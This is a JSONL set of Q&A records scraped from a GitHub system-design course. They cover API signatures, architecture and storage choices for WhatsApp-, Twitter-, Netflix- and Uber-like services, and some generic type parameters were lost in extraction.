{"id": "gh_1e719559355c", "question": "How to: Metrics and Analytics", "question_body": "About karanpratapsingh/system-design", "answer": "Recording analytics and metrics is one of our extended requirements. We can store and update metadata like visitor's country, platform, the number of views, etc alongside the URL entry in our database.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598814"}
{"id": "gh_2d3b5ce266c0", "question": "How to: What is WhatsApp?", "question_body": "About karanpratapsingh/system-design", "answer": "WhatsApp is a chat application that provides instant messaging services to its users. It is one of the most used mobile applications on the planet, connecting over 2 billion users in 180+ countries. WhatsApp is also available on the web.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598825"}
{"id": "gh_6948968071a8", "question": "How to: Get all chats or groups", "question_body": "About karanpratapsingh/system-design", "answer": "This API will get all chats or groups for a given `userID`.\n\n```tsx\ngetAll(userID: UUID): Chat[] | Group[]\n```\n\n**Parameters**\n\nUser ID (`UUID`): ID of the current user.\n\n**Returns**\n\nResult (`Chat[] | Group[]`): All the chats and groups the user is a part of.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598874"}
{"id": "gh_7c5307d8a44e", "question": "How to: Get messages", "question_body": "About karanpratapsingh/system-design", "answer": "Get all messages for a user given the `channelID` (chat or group id).\n\n```tsx\ngetMessages(userID: UUID, channelID: UUID): Message[]\n```\n\n**Parameters**\n\nUser ID (`UUID`): ID of the current user.\n\nChannel ID (`UUID`): ID of the channel (chat or group) from which messages need to be retrieved.\n\n**Returns**\n\nMessages (`Message[]`): All the messages in a given chat or group.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598880"}
{"id": "gh_4c5d993c18e0", "question": "How to: Send message", "question_body": "About karanpratapsingh/system-design", "answer": "Send a message from a user to a channel (chat or group).\n\n```tsx\nsendMessage(userID: UUID, channelID: UUID, message: Message): boolean\n```\n\n**Parameters**\n\nUser ID (`UUID`): ID of the current user.\n\nChannel ID (`UUID`): ID of the channel (chat or group) user wants to send a message to.\n\nMessage (`Message`): The message (text, image, video, etc.) that the user wants to send.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598885"}
{"id": "gh_36749bb15fb5", "question": "How to: Join or leave a channel", "question_body": "About karanpratapsingh/system-design", "answer": "Allows the user to join or leave a channel (chat or group).\n\n```tsx\njoinGroup(userID: UUID, channelID: UUID): boolean\nleaveGroup(userID: UUID, channelID: UUID): boolean\n```\n\n**Parameters**\n\nUser ID (`UUID`): ID of the current user.\n\nChannel ID (`UUID`): ID of the channel (chat or group) the user wants to join or leave.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598890"}
{"id": "gh_815678b636c7", "question": "How to: Architecture", "question_body": "About karanpratapsingh/system-design", "answer": "We will be using [microservices architecture](https://karanpratapsingh.com/courses/system-design/monoliths-microservices#microservices) since it will make it easier to horizontally scale and decouple our services. Each service will have ownership of its own data model. Let's try to divide our system into some core services.\n\n**User Service**\n\nThis is an HTTP-based service that handles user-related concerns such as authentication and user information.\n\n**Chat Service**\n\nThe chat service will use WebSockets to establish connections with the client to handle chat and group message-related functionality. We can also use cache to keep track of all the active connections, sort of like sessions which will help us determine if the user is online or not.\n\n**Notification Service**\n\nThis service will simply send push notifications to the users. It will be discussed in detail separately.\n\n**Presence Service**\n\nThe presence service will keep track of the _last seen_ status of all users. It will be discussed in detail separately.\n\n**Media service**\n\nThis service will handle the media (images, videos, files, etc.) uploads. It will be discussed in detail separately.\n\n**What about inter-service communication and service discovery?**\n\nSince our architecture is microservices-based, services will be communicating with each other as well. Generally, REST or HTTP performs well but we can further improve the performance using [gRPC](https://karanpratapsingh.com/courses/system-design/rest-graphql-grpc#grpc) which is more lightweight and efficient.\n\n[Service discovery](https://karanpratapsingh.com/courses/system-design/service-discovery) is another thing we will have to take into account. We can also use a service mesh that enables managed, observable, and secure communication between individual services.\n\n_Note: Learn more about [REST, GraphQL, gRPC](https://karanpratapsingh.com/courses/system-design/rest-graphql-grpc) and how they compare with each other._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598899"}
{"id": "gh_e11b2458191a", "question": "How to: Real-time messaging", "question_body": "About karanpratapsingh/system-design", "answer": "How do we efficiently send and receive messages? We have two different options:\n\n**Pull model**\n\nThe client can periodically send an HTTP request to servers to check if there are any new messages. This can be achieved via something like [Long polling](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#long-polling).\n\n**Push model**\n\nThe client opens a long-lived connection with the server and once new data is available it will be pushed to the client. We can use [WebSockets](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#websockets) or [Server-Sent Events (SSE)](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#server-sent-events-sse) for this.\n\nThe pull model approach is not scalable as it will create unnecessary request overhead on our servers and most of the time the response will be empty, thus wasting our resources. To minimize latency, using the push model with [WebSockets](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#websockets) is a better choice because then we can push data to the client once it's available without any delay, given that the connection is open with the client. Also, WebSockets provide full-duplex communication, unlike [Server-Sent Events (SSE)](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#server-sent-events-sse) which are only unidirectional.\n\n_Note: Learn more about [Long polling, WebSockets, Server-Sent Events (SSE)](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598906"}
{"id": "gh_360dea2815f4", "question": "How to: Read receipts", "question_body": "About karanpratapsingh/system-design", "answer": "Handling read receipts can be tricky, for this use case we can wait for some sort of [Acknowledgment (ACK)](\n) from the client to determine if the message was delivered and update the corresponding `deliveredAt` field. Similarly, we will mark the message as seen once the user opens the chat and update the corresponding `seenAt` timestamp field.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598918"}
{"id": "gh_2fad7b43c7e1", "question": "How to: Media access and storage", "question_body": "About karanpratapsingh/system-design", "answer": "As we know, most of our storage space will be used for storing media files such as images, videos, or other files. Our media service will be handling both access and storage of the user media files.\n\nBut where can we store files at scale? Well, [object storage](https://karanpratapsingh.com/courses/system-design/storage#object-storage) is what we're looking for. Object stores break data files up into pieces called objects. It then stores those objects in a single repository, which can be spread out across multiple networked systems. We can also use distributed file storage such as [HDFS](https://karanpratapsingh.com/courses/system-design/storage#hdfs) or [GlusterFS](https://www.gluster.org).\n\n_Fun fact: WhatsApp deletes media on its servers once it has been downloaded by the user._\n\nWe can use object stores like [Amazon S3](https://aws.amazon.com/s3), [Azure Blob Storage](https://azure.microsoft.com/en-in/services/storage/blobs), or [Google Cloud Storage](https://cloud.google.com/storage) for this use case.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598934"}
{"id": "gh_4b62bef9484a", "question": "How to: API gateway", "question_body": "About karanpratapsingh/system-design", "answer": "Since we will be using multiple protocols like HTTP, WebSocket, TCP/IP, deploying multiple L4 (transport layer) or L7 (application layer) type load balancers separately for each protocol will be expensive. Instead, we can use an [API Gateway](https://karanpratapsingh.com/courses/system-design/api-gateway) that supports multiple protocols without any issues.\n\nAPI Gateway can also offer other features such as authentication, authorization, rate limiting, throttling, and API versioning which will improve the quality of our services.\n\nWe can use services like [Amazon API Gateway](https://aws.amazon.com/api-gateway) or [Azure API Gateway](https://azure.microsoft.com/en-in/services/api-management) for this use case.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598944"}
{"id": "gh_a8cf6c0bab78", "question": "How to: What is Twitter?", "question_body": "About karanpratapsingh/system-design", "answer": "Twitter is a social media service where users can read or post short messages (up to 280 characters) called tweets. It is available on the web and mobile platforms such as Android and iOS.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598956"}
{"id": "gh_c506327935da", "question": "How to: Post a tweet", "question_body": "About karanpratapsingh/system-design", "answer": "This API will allow the user to post a tweet on the platform.\n\n```tsx\npostTweet(userID: UUID, content: string, mediaURL?: string): boolean\n```\n\n**Parameters**\n\nUser ID (`UUID`): ID of the user.\n\nContent (`string`): Contents of the tweet.\n\nMedia URL (`string`): URL of the attached media _(optional)_.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599007"}
{"id": "gh_99c3c62a20e2", "question": "How to: Follow or unfollow a user", "question_body": "About karanpratapsingh/system-design", "answer": "This API will allow the user to follow or unfollow another user.\n\n```tsx\nfollow(followerID: UUID, followeeID: UUID): boolean\nunfollow(followerID: UUID, followeeID: UUID): boolean\n```\n\n**Parameters**\n\nFollower ID (`UUID`): ID of the current user.\n\nFollowee ID (`UUID`): ID of the user we want to follow or unfollow.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599012"}
{"id": "gh_e90070ef81ce", "question": "How to: Get newsfeed", "question_body": "About karanpratapsingh/system-design", "answer": "This API will return all the tweets to be shown within a given newsfeed.\n\n```tsx\ngetNewsfeed(userID: UUID): Tweet[]\n```\n\n**Parameters**\n\nUser ID (`UUID`): ID of the user.\n\n**Returns**\n\nTweets (`Tweet[]`): All the tweets to be shown within a given newsfeed.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599017"}
{"id": "gh_a54442946e72", "question": "How to: Ranking Algorithm", "question_body": "About karanpratapsingh/system-design", "answer": "As we discussed, we will need a ranking algorithm to rank each tweet according to its relevance to each specific user.\n\nFor example, Facebook used to utilize an [EdgeRank](https://en.wikipedia.org/wiki/EdgeRank) algorithm. Here, the rank of each feed item is described by:\n\n$$\nRank = Affinity \\times Weight \\times Decay\n$$\n\nWhere,\n\n`Affinity`: is the \"closeness\" of the user to the creator of the edge. If a user frequently likes, comments, or messages the edge creator, then the value of affinity will be higher, resulting in a higher rank for the post.\n\n`Weight`: is the value assigned according to each edge. A comment can have a higher weightage than likes, and thus a post with more comments is more likely to get a higher rank.\n\n`Decay`: is the measure of the creation of the edge. The older the edge, the lesser will be the value of decay and eventually the rank.\n\nNowadays, algorithms are much more complex and ranking is done using machine learning models which can take thousands of factors into consideration.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599034"}
{"id": "gh_5d946ef80e56", "question": "How to: Notifications", "question_body": "About karanpratapsingh/system-design", "answer": "Push notifications are an integral part of any social media platform. We can use a message queue or a message broker such as [Apache Kafka](https://kafka.apache.org) with the notification service to dispatch requests to [Firebase Cloud Messaging (FCM)](https://firebase.google.com/docs/cloud-messaging) or [Apple Push Notification Service (APNS)](https://developer.apple.com/documentation/usernotifications) which will handle the delivery of the push notifications to user devices.\n\n_For more details, refer to the [WhatsApp](https://karanpratapsingh.com/courses/system-design/whatsapp#notifications) system design where we discuss push notifications in detail._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599041"}
{"id": "gh_fb2bbee3ea32", "question": "How to: Mutual friends", "question_body": "About karanpratapsingh/system-design", "answer": "For mutual friends, we can build a social graph for every user. Each node in the graph will represent a user and a directional edge will represent followers and followees. After that, we can traverse the followers of a user to find and suggest a mutual friend. This would require a graph database such as [Neo4j](https://neo4j.com) or [ArangoDB](https://www.arangodb.com).\n\nThis is a pretty simple algorithm, to improve our suggestion accuracy, we will need to incorporate a recommendation model which uses machine learning as part of our algorithm.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599055"}
{"id": "gh_f1969b1d8dae", "question": "How to: What is Netflix?", "question_body": "About karanpratapsingh/system-design", "answer": "Netflix is a subscription-based streaming service that allows its members to watch TV shows and movies on an internet-connected device. It is available on platforms such as the Web, iOS, Android, TV, etc.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599085"}
{"id": "gh_a5b8423b8968", "question": "How to: Non-Functional requirements", "question_body": "About karanpratapsingh/system-design", "answer": "- High availability with minimal latency.\n- High reliability, no uploads should be lost.\n- The system should be scalable and efficient.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599099"}
{"id": "gh_84d6732a6d57", "question": "How to: Upload a video", "question_body": "About karanpratapsingh/system-design", "answer": "Given a byte stream, this API enables video to be uploaded to our service.\n\n```tsx\nuploadVideo(title: string, description: string, data: Stream\n, tags?: string[]): boolean\n```\n\n**Parameters**\n\nTitle (`string`): Title of the new video.\n\nDescription (`string`): Description of the new video.\n\nData (`byte[]`): Byte stream of the video data.\n\nTags (`string[]`): Tags for the video _(optional)_.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599135"}
{"id": "gh_816ea565775b", "question": "How to: Streaming a video", "question_body": "About karanpratapsingh/system-design", "answer": "This API allows our users to stream a video with the preferred codec and resolution.\n\n```tsx\nstreamVideo(videoID: UUID, codec: Enum\n, resolution: Tuple\n, offset?: int): VideoStream\n```\n\n**Parameters**\n\nVideo ID (`UUID`): ID of the video that needs to be streamed.\n\nCodec (`Enum\n`): Required [codec](https://en.wikipedia.org/wiki/Video_codec) of the requested video, such as `h.265`, `h.264`, `VP9`, etc.\n\nResolution (`Tuple\n`): [Resolution](https://en.wikipedia.org/wiki/Display_resolution) of the requested video.\n\nOffset (`int`): Offset of the video stream in seconds to stream data from any point in the video _(optional)_.\n\n**Returns**\n\nStream (`VideoStream`): Data stream of the requested video.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599140"}
{"id": "gh_d2a6052097b6", "question": "How to: Search for a video", "question_body": "About karanpratapsingh/system-design", "answer": "This API will enable our users to search for a video based on its title or tags.\n\n```tsx\nsearchVideo(query: string, nextPage?: string): Video[]\n```\n\n**Parameters**\n\nQuery (`string`): Search query from the user.\n\nNext Page (`string`): Token for the next page, this can be used for pagination _(optional)_.\n\n**Returns**\n\nVideos (`Video[]`): All the videos available for a particular search query.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599145"}
{"id": "gh_d2d92d85388d", "question": "How to: Add a comment", "question_body": "About karanpratapsingh/system-design", "answer": "This API will allow our users to post a comment on a video (like YouTube).\n\n```tsx\ncomment(videoID: UUID, comment: string): boolean\n```\n\n**Parameters**\n\nVideoID (`UUID`): ID of the video user wants to comment on.\n\nComment (`string`): The text content of the comment.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599149"}
{"id": "gh_1a66ed5e4a42", "question": "How to: Video processing", "question_body": "About karanpratapsingh/system-design", "answer": "![video-processing-pipeline](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-V/netflix/video-processing-pipeline.png)\n\nThere are so many variables in play when it comes to processing a video. For example, an average data size of two-hour raw 8K footage from a high-end camera can easily be up to 4 TB, thus we need to have some kind of processing to reduce both storage and delivery costs.\n\nHere's how we can process videos once they're uploaded by the content team (or users in YouTube's case) and are queued for processing in our [message queue](https://karanpratapsingh.com/courses/system-design/message-queues).\n\nLet's discuss how this works:\n\n- **File Chunker**\n\n![file-chunking](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-V/netflix/file-chunking.png)\n\nThis is the first step of our processing pipeline. File chunking is the process of splitting a file into smaller pieces called chunks. It can help us eliminate duplicate copies of repeating data on storage, and reduces the amount of data sent over the network by only selecting changed chunks.\n\nUsually, a video file can be split into equal size chunks based on timestamps but Netflix instead splits chunks based on scenes. This slight variation becomes a huge factor for a better user experience since whenever the client requests a chunk from the server, there is a lower chance of interruption as a complete scene will be retrieved.\n\n- **Content Filter**\n\nThis step checks if the video adheres to the content policy of the platform. This can be pre-approved as in the case of Netflix according to [content rating](https://en.wikipedia.org/wiki/Motion_picture_content_rating_system) of the media or can be strictly enforced like by YouTube.\n\nThis entire process is done by a machine learning model which performs copyright, piracy, and NSFW checks. If issues are found, we can push the task to a [dead-letter queue (DLQ)](https://karanpratapsingh.com/courses/system-design/message-queues#dead-letter-queues) and someone from the moderation team can do further inspection.\n\n- **Transcoder**\n\n[Transcoding](https://en.wikipedia.org/wiki/Transcoding) is a process in which the original data is decoded to an intermediate uncompressed format, which is then encoded into the target format. This process uses different [codecs](https://en.wikipedia.org/wiki/Video_codec) to perform bitrate adjustment, image downsampling, or re-encoding the media.\n\nThis results in a smaller size file and a much more optimized format for the target devices. Standalone solutions such as [FFmpeg](https://ffmpeg.org) or cloud-based solutions like [AWS Elemental MediaConvert](https://aws.amazon.com/mediaconvert) can be used to implement this step of the pipeline.\n\n- **Quality Conversion**\n\nThis is the last step of the processing pipeline and as the name suggests, this step handles the conversion of the transcoded media from the previous step into different resolutions such as 4K, 1440p, 1080p, 720p, etc.\n\nIt allows us to fetch the desired quality of the video as per the user's request, and once the media file finishes processing, it gets uploaded to a distributed file storage such as [HDFS](https://karanpratapsingh.com/courses/system-design/storage#hdfs), [GlusterFS](https://www.gluster.org), or an [object storage](https://karanpratapsingh.com/courses/system-design/storage#object-storage) such as [Amazon S3](https://aws.amazon.com/s3) for later retrieval during streaming.\n\n_Note: We can add additional steps such as subtitles and thumbnails generation as part of our pipeline._\n\n**Why are we using a message queue?**\n\nProcessing videos as a long-running task and using a [message queue](https://karanpratapsingh.com/courses/system-design/message-queues) makes much more sense. It also decouples our video processing pipeline from the upload functionality. We can use something like [Amazon SQS](https://aws.amazon.com/sqs) or [RabbitMQ](https://www.rabbitmq.com) to support this.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599168"}
{"id": "gh_c4d34b33748d", "question": "How to: Video streaming", "question_body": "About karanpratapsingh/system-design", "answer": "Video streaming is a challenging task from both the client and server perspectives. Moreover, internet connection speeds vary quite a lot between different users. To make sure users don't re-fetch the same content, we can use a [Content Delivery Network (CDN)](https://karanpratapsingh.com/courses/system-design/content-delivery-network).\n\nNetflix takes this a step further with its [Open Connect](https://openconnect.netflix.com) program. In this approach, they partner with thousands of Internet Service Providers (ISPs) to localize their traffic and deliver their content more efficiently.\n\n**What is the difference between Netflix's Open Connect and a traditional Content Delivery Network (CDN)?**\n\nNetflix Open Connect is a purpose-built [Content Delivery Network (CDN)](https://karanpratapsingh.com/courses/system-design/content-delivery-network) responsible for serving Netflix's video traffic. Around 95% of the traffic globally is delivered via direct connections between Open Connect and the ISPs their customers use to access the internet.\n\nCurrently, they have Open Connect Appliances (OCAs) in over 1000 separate locations around the world. In case of issues, Open Connect Appliances (OCAs) can failover, and the traffic can be re-routed to Netflix servers.\n\nAdditionally, we can use [Adaptive bitrate streaming](https://en.wikipedia.org/wiki/Adaptive_bitrate_streaming) protocols such as [HTTP Live Streaming (HLS)](https://en.wikipedia.org/wiki/HTTP_Live_Streaming) which is designed for reliability and it dynamically adapts to network conditions by optimizing playback for the available speed of the connections.\n\nLastly, for playing the video from where the user left off (part of our extended requirements), we can simply use the `offset` property we stored in the `views` table to retrieve the scene chunk at that particular timestamp and resume the playback for the user.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599177"}
{"id": "gh_2872a07843a1", "question": "How to: Geo-blocking", "question_body": "About karanpratapsingh/system-design", "answer": "Platforms like Netflix and YouTube use [Geo-blocking](https://en.wikipedia.org/wiki/Geo-blocking) to restrict content in certain geographical areas or countries. This is primarily done due to legal distribution laws that Netflix has to adhere to when they make a deal with the production and distribution companies. In the case of YouTube, this will be controlled by the user during the publishing of the content.\n\nWe can determine the user's location either using their [IP](https://karanpratapsingh.com/courses/system-design/ip) or region settings in their profile then use services like [Amazon CloudFront](https://aws.amazon.com/cloudfront) which supports a geographic restrictions feature or a [geolocation routing policy](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy-geo.html) with [Amazon Route53](https://aws.amazon.com/route53) to restrict the content and re-route the user to an error page if the content is not available in that particular region or country.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599193"}
{"id": "gh_cdc5ff8f03ad", "question": "How to: Recommendations", "question_body": "About karanpratapsingh/system-design", "answer": "Netflix uses a machine learning model which uses the user's viewing history to predict what the user might like to watch next, an algorithm like [Collaborative Filtering](https://en.wikipedia.org/wiki/Collaborative_filtering) can be used.\n\nHowever, Netflix (like YouTube) uses its own algorithm called Netflix Recommendation Engine which can track several data points such as:\n\n- User profile information like age, gender, and location.\n- Browsing and scrolling behavior of the user.\n- Time and date a user watched a title.\n- The device which was used to stream the content.\n- The number of searches and what terms were searched.\n\n_For more detail, refer to [Netflix recommendation research](https://research.netflix.com/research-area/recommendations)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599199"}
{"id": "gh_fa597ca23d35", "question": "How to: Media streaming and storage", "question_body": "About karanpratapsingh/system-design", "answer": "As most of our storage space will be used for storing media files such as thumbnails and videos. Per our discussion earlier, the media service will be handling both the upload and processing of media files.\n\nWe will use distributed file storage such as [HDFS](https://karanpratapsingh.com/courses/system-design/storage#hdfs), [GlusterFS](https://www.gluster.org), or an [object storage](https://karanpratapsingh.com/courses/system-design/storage#object-storage) such as [Amazon S3](https://aws.amazon.com/s3) for storage and streaming of the content.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599282"}
{"id": "gh_8c0738d6a1a6", "question": "How to: What is Uber?", "question_body": "About karanpratapsingh/system-design", "answer": "Uber is a mobility service provider, allowing users to book rides and a driver to transport them in a way similar to a taxi. It is available on the web and mobile platforms such as Android and iOS.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599299"}
{"id": "gh_e9733fa6a2b6", "question": "How to: Request a Ride", "question_body": "About karanpratapsingh/system-design", "answer": "Through this API, customers will be able to request a ride.\n\n```tsx\nrequestRide(customerID: UUID, source: Tuple\n, destination: Tuple\n, cabType: Enum\n, paymentMethod: Enum\n): Ride\n```\n\n**Parameters**\n\nCustomer ID (`UUID`): ID of the customer.\n\nSource (`Tuple\n`): Tuple containing the latitude and longitude of the trip's starting location.\n\nDestination (`Tuple\n`): Tuple containing the latitude and longitude of the trip's destination.\n\n**Returns**\n\nResult (`Ride`): Associated ride information of the trip.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599346"}
{"id": "gh_31aa7b55515c", "question": "How to: Cancel the Ride", "question_body": "About karanpratapsingh/system-design", "answer": "This API will allow customers to cancel the ride.\n\n```tsx\ncancelRide(customerID: UUID, reason?: string): boolean\n```\n\n**Parameters**\n\nCustomer ID (`UUID`): ID of the customer.\n\nReason (`UUID`): Reason for canceling the ride _(optional)_.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599351"}
{"id": "gh_9dab0bfc6af0", "question": "How to: Accept or Deny the Ride", "question_body": "About karanpratapsingh/system-design", "answer": "This API will allow the driver to accept or deny the trip.\n\n```tsx\nacceptRide(driverID: UUID, rideID: UUID): boolean\ndenyRide(driverID: UUID, rideID: UUID): boolean\n```\n\n**Parameters**\n\nDriver ID (`UUID`): ID of the driver.\n\nRide ID (`UUID`): ID of the customer requested ride.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599358"}
